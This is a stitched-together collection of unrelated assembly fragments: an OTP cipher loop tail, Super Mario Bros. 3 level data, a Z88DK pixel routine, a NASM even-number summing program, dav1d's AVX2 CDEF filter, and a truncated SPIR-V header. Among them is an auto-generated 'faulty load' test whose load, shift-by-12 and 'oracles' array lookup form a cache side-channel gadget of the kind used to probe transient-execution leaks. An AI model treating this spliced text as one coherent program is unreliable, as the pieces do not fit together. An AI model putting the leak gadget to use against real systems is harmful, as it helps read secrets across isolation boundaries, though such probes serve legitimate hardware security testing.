; ciphertext(edx + ecx - 1).
mov byte [edx + ecx - 1], al
loop otp_cipher
;; DO NOT MODIFY
popa
leave
ret
;; DO NOT MODIFY |
; Original address was $BB27
; Unused "Dark" hammer bro fight area
.word $0000 ; Alternate level layout
.word $0000 ; Alternate object layout
.byte LEVEL1_SIZE_01 | LEVEL1_YSTART_170
.byte LEVEL2_BGPAL_00 | LEVEL2_OBJPAL_08 | LEVEL2_XSTART_18
.byte LEVEL3_TILESET_00 | LEVEL3_VSCROLL_LOCKLOW
.byte LEVEL4_BGBANK_INDEX(0) | LEVEL4_INITACT_NOTHING
.byte LEVEL5_BGM_OVERWORLD | LEVEL5_TIME_300
.byte $FF
|
;
; written by Waleed Hasan
;
; $Id;$
XLIB DsSetPixel
LIB setpix
.DsSetPixel
pop bc ;ret addr.
pop hl ;y
ld e,l ; e=y
pop hl ;x
ld d,l ; d=x
push bc
push bc
push bc
jp setpix
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r14
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x13a1, %r11
nop
and %rbx, %rbx
vmovups (%r11), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $0, %xmm3, %r9
nop
nop
cmp $59313, %rdi
lea addresses_WC_ht+0x11621, %r14
nop
nop
nop
nop
and %r9, %r9
movb $0x61, (%r14)
nop
nop
nop
nop
and $42676, %r10
lea addresses_WC_ht+0x12221, %rsi
lea addresses_D_ht+0x110a1, %rdi
nop
nop
nop
inc %r11
mov $19, %rcx
rep movsw
nop
nop
sub %rcx, %rcx
lea addresses_UC_ht+0xb161, %rsi
lea addresses_WT_ht+0x1b021, %rdi
clflush (%rsi)
xor %r14, %r14
mov $35, %rcx
rep movsw
dec %r14
lea addresses_WC_ht+0x11221, %r14
nop
nop
xor $40912, %r11
mov (%r14), %ecx
nop
add $36168, %rcx
lea addresses_UC_ht+0x14221, %rsi
lea addresses_WC_ht+0x11c01, %rdi
nop
nop
nop
inc %r9
mov $45, %rcx
rep movsw
nop
nop
nop
nop
nop
inc %r11
lea addresses_UC_ht+0x1c521, %rbx
cmp $42820, %r10
movl $0x61626364, (%rbx)
nop
nop
lfence
lea addresses_UC_ht+0xd021, %rsi
lea addresses_A_ht+0x120ad, %rdi
nop
nop
cmp %r9, %r9
mov $112, %rcx
rep movsq
nop
nop
nop
nop
add %r14, %r14
lea addresses_A_ht+0x1e79f, %r10
cmp $999, %rcx
mov (%r10), %r11w
nop
nop
nop
nop
nop
sub $36257, %r10
lea addresses_WC_ht+0x144a1, %r14
nop
nop
nop
nop
nop
inc %r11
and $0xffffffffffffffc0, %r14
vmovntdqa (%r14), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $1, %xmm4, %rdi
nop
nop
and %r14, %r14
lea addresses_D_ht+0x621, %rcx
nop
nop
nop
nop
nop
add %r9, %r9
vmovups (%rcx), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $0, %xmm3, %rsi
nop
nop
nop
nop
sub %r11, %r11
lea addresses_UC_ht+0x5de9, %r14
nop
sub $23697, %r10
movl $0x61626364, (%r14)
cmp %r9, %r9
lea addresses_D_ht+0x124c9, %r11
nop
nop
sub $23140, %r10
vmovups (%r11), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $0, %xmm4, %rcx
nop
sub %r9, %r9
lea addresses_WT_ht+0x11271, %rcx
nop
nop
and %r14, %r14
mov (%rcx), %r10d
nop
nop
nop
and %rdi, %rdi
lea addresses_normal_ht+0x1f61, %r10
nop
nop
and $51016, %r14
mov (%r10), %rdi
nop
nop
nop
add $59385, %r10
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r14
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r9
push %rax
push %rbx
push %rdi
push %rsi
// Store
lea addresses_RW+0x2ec0, %rdi
nop
nop
xor $45147, %r9
mov $0x5152535455565758, %r13
movq %r13, (%rdi)
nop
nop
nop
nop
and %rbx, %rbx
// Load
mov $0x2947de0000000e61, %r14
nop
nop
nop
dec %rax
mov (%r14), %edi
nop
nop
nop
nop
dec %r14
// Store
mov $0xa21, %r13
nop
nop
nop
xor $6582, %rax
movw $0x5152, (%r13)
nop
add %rdi, %rdi
// Store
lea addresses_normal+0x1e8a1, %rax
nop
nop
nop
nop
inc %r14
movw $0x5152, (%rax)
nop
nop
nop
nop
cmp $40097, %r14
// Store
mov $0x6f, %r9
nop
nop
nop
nop
sub $33344, %r14
movl $0x51525354, (%r9)
nop
nop
dec %r14
// Faulty Load
lea addresses_PSE+0x19a21, %r14
nop
nop
nop
nop
sub %rdi, %rdi
vmovaps (%r14), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $0, %xmm0, %r9
lea oracles, %rbx
and $0xff, %r9
shlq $12, %r9
mov (%rbx,%r9,1), %r9
pop %rsi
pop %rdi
pop %rbx
pop %rax
pop %r9
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 8, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_NC', 'size': 4, 'AVXalign': True}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_P', 'size': 2, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_normal', 'size': 2, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_P', 'size': 4, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 32, 'AVXalign': True}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}}
{'src': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': True, 'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}}
{'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 7, 'NT': True, 'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'00': 8899, '52': 12930}
52 00 00 00 52 52 00 52 00 52 52 52 52 00 52 00 00 52 52 52 00 00 00 00 00 00 52 00 52 52 52 52 52 52 00 00 52 52 00 52 52 52 00 52 52 52 52 52 52 52 52 52 00 00 00 00 00 00 52 52 52 00 00 52 52 52 52 00 00 52 52 00 52 52 00 52 00 00 00 52 00 00 52 00 00 00 00 00 00 52 52 52 00 00 00 00 00 00 00 52 52 00 52 00 52 00 52 52 52 52 00 00 52 00 00 52 00 52 00 00 52 52 52 00 00 00 00 00 00 52 00 52 52 52 52 00 00 00 00 00 00 00 52 52 00 52 00 52 00 00 00 00 00 52 52 00 52 00 52 00 52 00 00 52 52 00 00 52 00 00 00 00 52 52 52 52 52 52 52 52 52 52 00 52 52 00 52 52 52 00 52 00 52 00 00 52 00 52 00 52 52 00 52 52 52 00 00 52 00 00 00 00 52 00 52 00 52 52 52 00 52 00 00 52 52 52 52 00 52 00 52 00 52 00 00 00 00 52 00 52 52 52 00 00 52 52 52 00 52 52 52 52 00 00 52 52 52 00 52 00 52 52 52 52 52 52 52 52 52 52 00 00 52 00 00 00 52 52 52 52 00 00 52 52 52 52 52 52 00 52 00 52 52 52 52 52 52 52 00 52 52 00 00 52 52 00 52 52 52 00 52 00 00 52 00 00 52 52 00 52 00 52 00 52 00 52 52 52 52 00 00 00 52 52 00 00 00 00 52 52 00 52 52 00 52 52 00 52 00 52 52 00 52 52 52 52 00 52 00 00 52 52 00 00 52 52 52 00 52 00 00 00 52 52 52 00 52 52 52 52 52 00 00 52 00 52 52 52 52 52 52 00 00 52 52 52 52 52 52 00 00 52 00 52 52 00 52 52 00 52 00 52 52 52 00 00 52 52 00 00 52 52 52 52 00 00 52 52 52 00 00 52 00 52 52 52 00 00 52 52 52 52 52 52 52 00 52 00 00 00 52 52 00 52 52 52 52 00 00 00 00 52 52 52 52 52 52 52 00 52 52 52 52 00 00 52 52 00 00 00 00 00 52 00 52 00 52 52 52 52 00 52 00 52 52 52 00 00 00 52 52 52 00 00 52 00 00 00 00 00 52 52 52 52 52 52 00 52 00 00 52 00 52 00 00 00 00 00 00 52 00 00 00 00 52 00 52 52 52 52 00 00 52 52 52 52 52 52 52 00 52 52 52 52 00 00 52 00 00 00 52 00 00 52 52 52 52 52 00 52 00 52 52 00 52 52 00 52 52 00 00 00 00 00 00 00 52 52 00 52 52 52 52 52 52 52 52 00 00 52 00 00 00 00 52 52 52 00 00 52 00 00 00 00 00 00 52 00 52 00 00 52 00 00 00 52 52 52 00 52 52 52 52 52 00 00 00 00 00 00 00 00 00 52 52 52 00 00 52 52 52 00 52 00 00 52 00 52 52 00 00 00 00 52 52 52 00 00 52 52 00 52 52 52 00 52 52 52 00 52 52 00 00 00 52 52 52 52 52 00 52 52 52 00 52 52 00 00 00 52 00 52 00 52 00 52 00 52 00 52 52 00 52 00 52 00 00 52 52 52 52 52 52 52 00 52 52 00 52 00 52 00 52 52 00 00 52 00 52 00 00 52 00 52 00 52 52 00 52 00 52 52 00 52 52 52 52 00 52 00 00 00 52 52 00 52 00 00 00 52 52 00 00 00 00 52 52 52 00 00 52 52 00 52 52 52 00 00 52 52 00 00 00 52 00 00 00 52 00 00 52 52 52 52 00 00 52 52 00 52 00 52 00 52 00 00 52 52 52 52 00 52 52 52 52 52 00 52 52 52 00 00 00 52 52 52 00 52 52 00 00 52 00 52 00 00 52 52 52 52 52 52 52 52 52 52 52 00 00 00 52 00 00 00 00 00 00 52 52 00 00 00 52 52 52 00 00 00 52 52 52 00 52 52 00 00 00 52 52 00 00 52 52 52 52 52 52 00 52 00 52 52 52 52 52 00 52 52 52 52 00 00 00 52 00 52 00 52 00 00 00 52 52 52 52 00 52 00 52 52 52 52 52 52 00 52 52 52 00 52 52 00 52 00 52 00 52 00 00 52 52 00 00 00 00 52 52 52 52 52 52 00 00 52 52 00 00 00 52 52 00 52 52 52 00 52 00 52 52 00 52 52 00 52 00 52 52 52 00 52 00 00 52 52 00 52 52 52 52 00
*/
|
section .data
msg1 : db 'Enter first digit of first number :'
l1 : equ $-msg1
msg2 : db 'Enter second digit of first number :'
l2 : equ $-msg2
msg3 : db ' ',10
l3 : equ $-msg3
section .bss
num11 : resb 1
num12 : resb 1
n1 : resb 1
n2 : resb 1
n3 : resb 1
junk : resb 1
junk1 : resb 1
junk2 : resb 1
ans1 : resb 1
ans2 : resb 1
ans3 : resb 1
ans4 : resw 1
ans0 : resw 1
sum : resw 1
counter : resw 1
section .text
global _start:
_start:
mov eax, 4
mov ebx, 1
mov ecx, msg1
mov edx, l1
int 80h
mov eax, 3
mov ebx, 0
mov ecx, num11
mov edx, 1
int 80h
mov eax, 3
mov ebx, 0
mov ecx, junk
mov edx, 1
int 80h
mov eax, 4
mov ebx, 1
mov ecx, msg2
mov edx, l1
int 80h
mov eax, 3
mov ebx, 0
mov ecx, num12
mov edx, 1
int 80h
mov eax, 3
mov ebx, 0
mov ecx, junk1
mov edx, 1
int 80h
; calculating first number
mov al, byte[num11]
sub al, 30h
mov bl, 10
mov ah, 0
mul bl
mov bx, word[num12]
sub bx, 30h
add ax, bx
mov [n1], ax
mov word[counter],0
mov word[sum],0
for:
mov bx, word[counter]
mov ax, word[n1]
cmp ax,bx
jb exit_for
; sum= sum+counter
mov ax, word[sum]
add ax, bx
mov word[sum], ax
add bx,2
mov word[counter],bx
jmp for
exit_for:
mov dx, 0
mov ax,word[sum]
mov bx, 1000
div bx
mov ax,dx
mov bl, 100
mov ah, 0
div bl
add al, 30h
mov [ans4], ah
mov [ans1], al
mov ax, word[ans4]
mov bl, 10
mov ah, 0
div bl
add al, 30h
add ah, 30h
mov [ans2], al
mov [ans3], ah
mov eax, 4
mov ebx, 1
mov ecx, ans1
mov edx, 1
int 80h
mov eax, 4
mov ebx, 1
mov ecx, ans2
mov edx, 1
int 80h
mov eax, 4
mov ebx, 1
mov ecx, ans3
mov edx, 1
int 80h
mov eax, 1
mov ebx, 0
int 80h
|
; Copyright © 2018, VideoLAN and dav1d authors
; Copyright © 2018, Two Orioles, LLC
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
;
; 1. Redistributions of source code must retain the above copyright notice, this
; list of conditions and the following disclaimer.
;
; 2. Redistributions in binary form must reproduce the above copyright notice,
; this list of conditions and the following disclaimer in the documentation
; and/or other materials provided with the distribution.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
; ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
; (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
; ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
; SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
%include "config.asm"
%include "ext/x86/x86inc.asm"
%if ARCH_X86_64
SECTION_RODATA 32
pd_47130256: dd 4, 7, 1, 3, 0, 2, 5, 6
div_table: dd 840, 420, 280, 210, 168, 140, 120, 105
dd 420, 210, 140, 105
shufw_6543210x: db 12, 13, 10, 11, 8, 9, 6, 7, 4, 5, 2, 3, 0, 1, 14, 15
shufb_lohi: db 0, 8, 1, 9, 2, 10, 3, 11, 4, 12, 5, 13, 6, 14, 7, 15
tap_table: ; masks for 8 bit shifts
db 0xFF, 0x7F, 0x3F, 0x1F, 0x0F, 0x07, 0x03, 0x01
; weights
db 4, 2, 3, 3, 2, 1
db 0, 0 ; padding
db -1, -2, 0, 0, 1, 2, 0, 0
db 0, -1, 0, 1, 1, 2, 0, 0
db 0, 0, 1, 2, -1, -2, 0, 0
db 0, 1, 1, 2, 0, -1, 0, 0
db 1, 2, 1, 2, 0, 0, 0, 0
db 1, 2, 1, 2, 0, 1, 0, 0
db 1, 2, -1, -2, 1, 2, 0, 0
db 1, 2, 0, -1, 1, 2, 0, 0
db 1, 2, 1, 2, 0, 0, 0, 0
db 1, 2, 1, 2, 0, -1, 0, 0
db 1, 2, 1, 2, 1, 2, 0, 0
db 1, 2, 0, 1, 1, 2, 0, 0
db 1, 2, 0, 0, 1, 2, 0, 0
db 0, 1, 0, -1, 1, 2, 0, 0
db 0, 0, 1, 2, 1, 2, 0, 0
db 0, -1, 1, 2, 0, 1, 0, 0
pw_128: times 2 dw 128
pw_2048: times 2 dw 2048
SECTION .text
; stride unused
%macro ACCUMULATE_TAP 7 ; tap_offset, shift, mask, strength, mul_tap, w, stride
; load p0/p1
movsx offq, dword [offsets+kq*4+%1] ; off1
%if %6 == 4
movq xm5, [tmp0q+offq*2] ; p0
movq xm6, [tmp2q+offq*2]
movhps xm5, [tmp1q+offq*2]
movhps xm6, [tmp3q+offq*2]
vinserti128 m5, xm6, 1
%else
movu xm5, [tmp0q+offq*2] ; p0
vinserti128 m5, [tmp1q+offq*2], 1
%endif
neg offq ; -off1
%if %6 == 4
movq xm6, [tmp0q+offq*2] ; p1
movq xm9, [tmp2q+offq*2]
movhps xm6, [tmp1q+offq*2]
movhps xm9, [tmp3q+offq*2]
vinserti128 m6, xm9, 1
%else
movu xm6, [tmp0q+offq*2] ; p1
vinserti128 m6, [tmp1q+offq*2], 1
%endif
; out of bounds values are set to a value that is a both a large unsigned
; value and a negative signed value.
; use signed max and unsigned min to remove them
pmaxsw m7, m5 ; max after p0
pminuw m8, m5 ; min after p0
pmaxsw m7, m6 ; max after p1
pminuw m8, m6 ; min after p1
; accumulate sum[m15] over p0/p1
; calculate difference before converting
psubw m5, m4 ; diff_p0(p0 - px)
psubw m6, m4 ; diff_p1(p1 - px)
; convert to 8-bits with signed saturation
; saturating to large diffs has no impact on the results
packsswb m5, m6
; group into pairs so we can accumulate using maddubsw
pshufb m5, m12
pabsb m9, m5
psignb m10, %5, m5
psrlw m5, m9, %2 ; emulate 8-bit shift
pand m5, %3
psubusb m5, %4, m5
; use unsigned min since abs diff can equal 0x80
pminub m5, m9
pmaddubsw m5, m10
paddw m15, m5
%endmacro
%macro CDEF_FILTER 2 ; w, h
INIT_YMM avx2
%if %1*%2*2/mmsize > 1
%if %1 == 4
cglobal cdef_filter_%1x%2, 4, 13, 16, 64
%else
cglobal cdef_filter_%1x%2, 4, 11, 16, 64
%endif
%else
cglobal cdef_filter_%1x%2, 4, 12, 16, 64
%endif
%define offsets rsp+32
DEFINE_ARGS dst, dst_stride, tmp, tmp_stride, pri, sec, pridmp, table, \
secdmp, damping, dir
lea tableq, [tap_table]
; off1/2/3[k] [6 total]
movd xm2, tmp_strided
vpbroadcastd m2, xm2
mov dird, r6m
pmovsxbd m3, [tableq+dirq*8+16]
pmulld m2, m3
pmovsxbd m4, [tableq+dirq*8+16+64]
paddd m2, m4
mova [offsets], m2
; register to shuffle values into after packing
vbroadcasti128 m12, [shufb_lohi]
movifnidn prid, prim
mov dampingd, r7m
lzcnt pridmpd, prid
%if UNIX64
movd xm0, prid
movd xm1, secd
%endif
lzcnt secdmpd, secm
sub dampingd, 31
DEFINE_ARGS dst, dst_stride, tmp, tmp_stride, pri, sec, pridmp, table, \
secdmp, damping, zero
xor zerod, zerod
add pridmpd, dampingd
cmovl pridmpd, zerod
add secdmpd, dampingd
cmovl secdmpd, zerod
mov [rsp+0], pridmpq ; pri_shift
mov [rsp+8], secdmpq ; sec_shift
DEFINE_ARGS dst, dst_stride, tmp, tmp_stride, pri, sec, pridmp, table, \
secdmp
vpbroadcastb m13, [tableq+pridmpq] ; pri_shift_mask
vpbroadcastb m14, [tableq+secdmpq] ; sec_shift_mask
; pri/sec_taps[k] [4 total]
DEFINE_ARGS dst, dst_stride, tmp, tmp_stride, pri, sec, dummy, table, \
secdmp
%if UNIX64
vpbroadcastb m0, xm0 ; pri_strength
vpbroadcastb m1, xm1 ; sec_strength
%else
vpbroadcastb m0, prim
vpbroadcastb m1, secm
%endif
and prid, 1
lea priq, [tableq+priq*2+8] ; pri_taps
lea secq, [tableq+12] ; sec_taps
%if %1*%2*2/mmsize > 1
%if %1 == 4
DEFINE_ARGS dst, dst_stride, tmp0, tmp_stride, pri, sec, dst_stride3, h, off, k, tmp1, tmp2, tmp3
lea dst_stride3q, [dst_strideq*3]
%else
DEFINE_ARGS dst, dst_stride, tmp0, tmp_stride, pri, sec, h, off, k, tmp1
%endif
mov hd, %1*%2*2/mmsize
%else
DEFINE_ARGS dst, dst_stride, tmp0, tmp_stride, pri, sec, dst_stride3, off, k, tmp1, tmp2, tmp3
lea dst_stride3q, [dst_strideq*3]
%endif
pxor m11, m11
%if %1*%2*2/mmsize > 1
.v_loop:
%endif
lea tmp1q, [tmp0q+tmp_strideq*2]
%if %1 == 4
lea tmp2q, [tmp0q+tmp_strideq*4]
lea tmp3q, [tmp1q+tmp_strideq*4]
%endif
mov kd, 1
%if %1 == 4
movq xm4, [tmp0q]
movhps xm4, [tmp1q]
movq xm5, [tmp2q]
movhps xm5, [tmp3q]
vinserti128 m4, xm5, 1
%else
mova xm4, [tmp0q] ; px
vinserti128 m4, [tmp1q], 1
%endif
pxor m15, m15 ; sum
mova m7, m4 ; max
mova m8, m4 ; min
.k_loop:
vpbroadcastb m2, [priq+kq] ; pri_taps
vpbroadcastb m3, [secq+kq] ; sec_taps
ACCUMULATE_TAP 0*8, [rsp+0], m13, m0, m2, %1, %3
ACCUMULATE_TAP 1*8, [rsp+8], m14, m1, m3, %1, %3
ACCUMULATE_TAP 2*8, [rsp+8], m14, m1, m3, %1, %3
dec kq
jge .k_loop
vpbroadcastd m10, [pw_2048]
pcmpgtw m9, m11, m15
paddw m15, m9
pmulhrsw m15, m10
paddw m4, m15
pminsw m4, m7
pmaxsw m4, m8
packuswb m4, m4
vextracti128 xm5, m4, 1
%if %1 == 4
movd [dstq+dst_strideq*0], xm4
pextrd [dstq+dst_strideq*1], xm4, 1
movd [dstq+dst_strideq*2], xm5
pextrd [dstq+dst_stride3q], xm5, 1
%else
movq [dstq+dst_strideq*0], xm4
movq [dstq+dst_strideq*1], xm5
%endif
%if %1*%2*2/mmsize > 1
%define vloop_lines (mmsize/(%1*2))
lea dstq, [dstq+dst_strideq*vloop_lines]
lea tmp0q, [tmp0q+tmp_strideq*2*vloop_lines]
dec hd
jg .v_loop
%endif
RET
%endmacro
CDEF_FILTER 8, 8
CDEF_FILTER 4, 8
CDEF_FILTER 4, 4
INIT_YMM avx2
cglobal cdef_dir_8bpc, 3, 4, 15, src, stride, var, stride3
lea stride3q, [strideq*3]
movq xm0, [srcq+strideq*0]
movq xm1, [srcq+strideq*1]
movq xm2, [srcq+strideq*2]
movq xm3, [srcq+stride3q]
lea srcq, [srcq+strideq*4]
vpbroadcastq m4, [srcq+strideq*0]
vpbroadcastq m5, [srcq+strideq*1]
vpbroadcastq m6, [srcq+strideq*2]
vpbroadcastq m7, [srcq+stride3q]
vpbroadcastd m8, [pw_128]
pxor m9, m9
vpblendd m0, m0, m7, 0xf0
vpblendd m1, m1, m6, 0xf0
vpblendd m2, m2, m5, 0xf0
vpblendd m3, m3, m4, 0xf0
punpcklbw m0, m9
punpcklbw m1, m9
punpcklbw m2, m9
punpcklbw m3, m9
psubw m0, m8
psubw m1, m8
psubw m2, m8
psubw m3, m8
; shuffle registers to generate partial_sum_diag[0-1] together
vpermq m7, m0, q1032
vpermq m6, m1, q1032
vpermq m5, m2, q1032
vpermq m4, m3, q1032
; start with partial_sum_hv[0-1]
paddw m8, m0, m1
paddw m9, m2, m3
phaddw m10, m0, m1
phaddw m11, m2, m3
paddw m8, m9
phaddw m10, m11
vextracti128 xm9, m8, 1
vextracti128 xm11, m10, 1
paddw xm8, xm9 ; partial_sum_hv[1]
phaddw xm10, xm11 ; partial_sum_hv[0]
vinserti128 m8, xm10, 1
vpbroadcastd m9, [div_table+44]
pmaddwd m8, m8
pmulld m8, m9 ; cost6[2a-d] | cost2[a-d]
; create aggregates [lower half]:
; m9 = m0:01234567+m1:x0123456+m2:xx012345+m3:xxx01234+
; m4:xxxx0123+m5:xxxxx012+m6:xxxxxx01+m7:xxxxxxx0
; m10= m1:7xxxxxxx+m2:67xxxxxx+m3:567xxxxx+
; m4:4567xxxx+m5:34567xxx+m6:234567xx+m7:1234567x
; and [upper half]:
; m9 = m0:xxxxxxx0+m1:xxxxxx01+m2:xxxxx012+m3:xxxx0123+
; m4:xxx01234+m5:xx012345+m6:x0123456+m7:01234567
; m10= m0:1234567x+m1:234567xx+m2:34567xxx+m3:4567xxxx+
; m4:567xxxxx+m5:67xxxxxx+m6:7xxxxxxx
; and then shuffle m11 [shufw_6543210x], unpcklwd, pmaddwd, pmulld, paddd
pslldq m9, m1, 2
psrldq m10, m1, 14
pslldq m11, m2, 4
psrldq m12, m2, 12
pslldq m13, m3, 6
psrldq m14, m3, 10
paddw m9, m11
paddw m10, m12
paddw m9, m13
paddw m10, m14
pslldq m11, m4, 8
psrldq m12, m4, 8
pslldq m13, m5, 10
psrldq m14, m5, 6
paddw m9, m11
paddw m10, m12
paddw m9, m13
paddw m10, m14
pslldq m11, m6, 12
psrldq m12, m6, 4
pslldq m13, m7, 14
psrldq m14, m7, 2
paddw m9, m11
paddw m10, m12
paddw m9, m13
paddw m10, m14 ; partial_sum_diag[0/1][8-14,zero]
vbroadcasti128 m14, [shufw_6543210x]
vbroadcasti128 m13, [div_table+16]
vbroadcasti128 m12, [div_table+0]
paddw m9, m0 ; partial_sum_diag[0/1][0-7]
pshufb m10, m14
punpckhwd m11, m9, m10
punpcklwd m9, m10
pmaddwd m11, m11
pmaddwd m9, m9
pmulld m11, m13
pmulld m9, m12
paddd m9, m11 ; cost0[a-d] | cost4[a-d]
; merge horizontally and vertically for partial_sum_alt[0-3]
paddw m10, m0, m1
paddw m11, m2, m3
paddw m12, m4, m5
paddw m13, m6, m7
phaddw m0, m4
phaddw m1, m5
phaddw m2, m6
phaddw m3, m7
; create aggregates [lower half]:
; m4 = m10:01234567+m11:x0123456+m12:xx012345+m13:xxx01234
; m11= m11:7xxxxxxx+m12:67xxxxxx+m13:567xxxxx
; and [upper half]:
; m4 = m10:xxx01234+m11:xx012345+m12:x0123456+m13:01234567
; m11= m10:567xxxxx+m11:67xxxxxx+m12:7xxxxxxx
; and then pshuflw m11 3012, unpcklwd, pmaddwd, pmulld, paddd
pslldq m4, m11, 2
psrldq m11, 14
pslldq m5, m12, 4
psrldq m12, 12
pslldq m6, m13, 6
psrldq m13, 10
paddw m4, m10
paddw m11, m12
vpbroadcastd m12, [div_table+44]
paddw m5, m6
paddw m11, m13 ; partial_sum_alt[3/2] right
vbroadcasti128 m13, [div_table+32]
paddw m4, m5 ; partial_sum_alt[3/2] left
pshuflw m5, m11, q3012
punpckhwd m6, m11, m4
punpcklwd m4, m5
pmaddwd m6, m6
pmaddwd m4, m4
pmulld m6, m12
pmulld m4, m13
paddd m4, m6 ; cost7[a-d] | cost5[a-d]
; create aggregates [lower half]:
; m5 = m0:01234567+m1:x0123456+m2:xx012345+m3:xxx01234
; m1 = m1:7xxxxxxx+m2:67xxxxxx+m3:567xxxxx
; and [upper half]:
; m5 = m0:xxx01234+m1:xx012345+m2:x0123456+m3:01234567
; m1 = m0:567xxxxx+m1:67xxxxxx+m2:7xxxxxxx
; and then pshuflw m1 3012, unpcklwd, pmaddwd, pmulld, paddd
pslldq m5, m1, 2
psrldq m1, 14
pslldq m6, m2, 4
psrldq m2, 12
pslldq m7, m3, 6
psrldq m3, 10
paddw m5, m0
paddw m1, m2
paddw m6, m7
paddw m1, m3 ; partial_sum_alt[0/1] right
paddw m5, m6 ; partial_sum_alt[0/1] left
pshuflw m0, m1, q3012
punpckhwd m1, m5
punpcklwd m5, m0
pmaddwd m1, m1
pmaddwd m5, m5
pmulld m1, m12
pmulld m5, m13
paddd m5, m1 ; cost1[a-d] | cost3[a-d]
mova xm0, [pd_47130256+ 16]
mova m1, [pd_47130256]
phaddd m9, m8
phaddd m5, m4
phaddd m9, m5
vpermd m0, m9 ; cost[0-3]
vpermd m1, m9 ; cost[4-7] | cost[0-3]
; now find the best cost
pmaxsd xm2, xm0, xm1
pshufd xm3, xm2, q1032
pmaxsd xm2, xm3
pshufd xm3, xm2, q2301
pmaxsd xm2, xm3 ; best cost
; find the idx using minpos
; make everything other than the best cost negative via subtraction
; find the min of unsigned 16-bit ints to sort out the negative values
psubd xm4, xm1, xm2
psubd xm3, xm0, xm2
packssdw xm3, xm4
phminposuw xm3, xm3
; convert idx to 32-bits
psrld xm3, 16
movd eax, xm3
; get idx^4 complement
vpermd m3, m1
psubd xm2, xm3
psrld xm2, 10
movd [varq], xm2
RET
%endif ; ARCH_X86_64
|
; SPIR-V
; Version: 1.0
; Generator: Khronos Glslang Reference Front End; 10
; Bound: 75
; Schema: 0
OpCapability Shader
%1 = OpExtInstImport "GLSL.std.450"
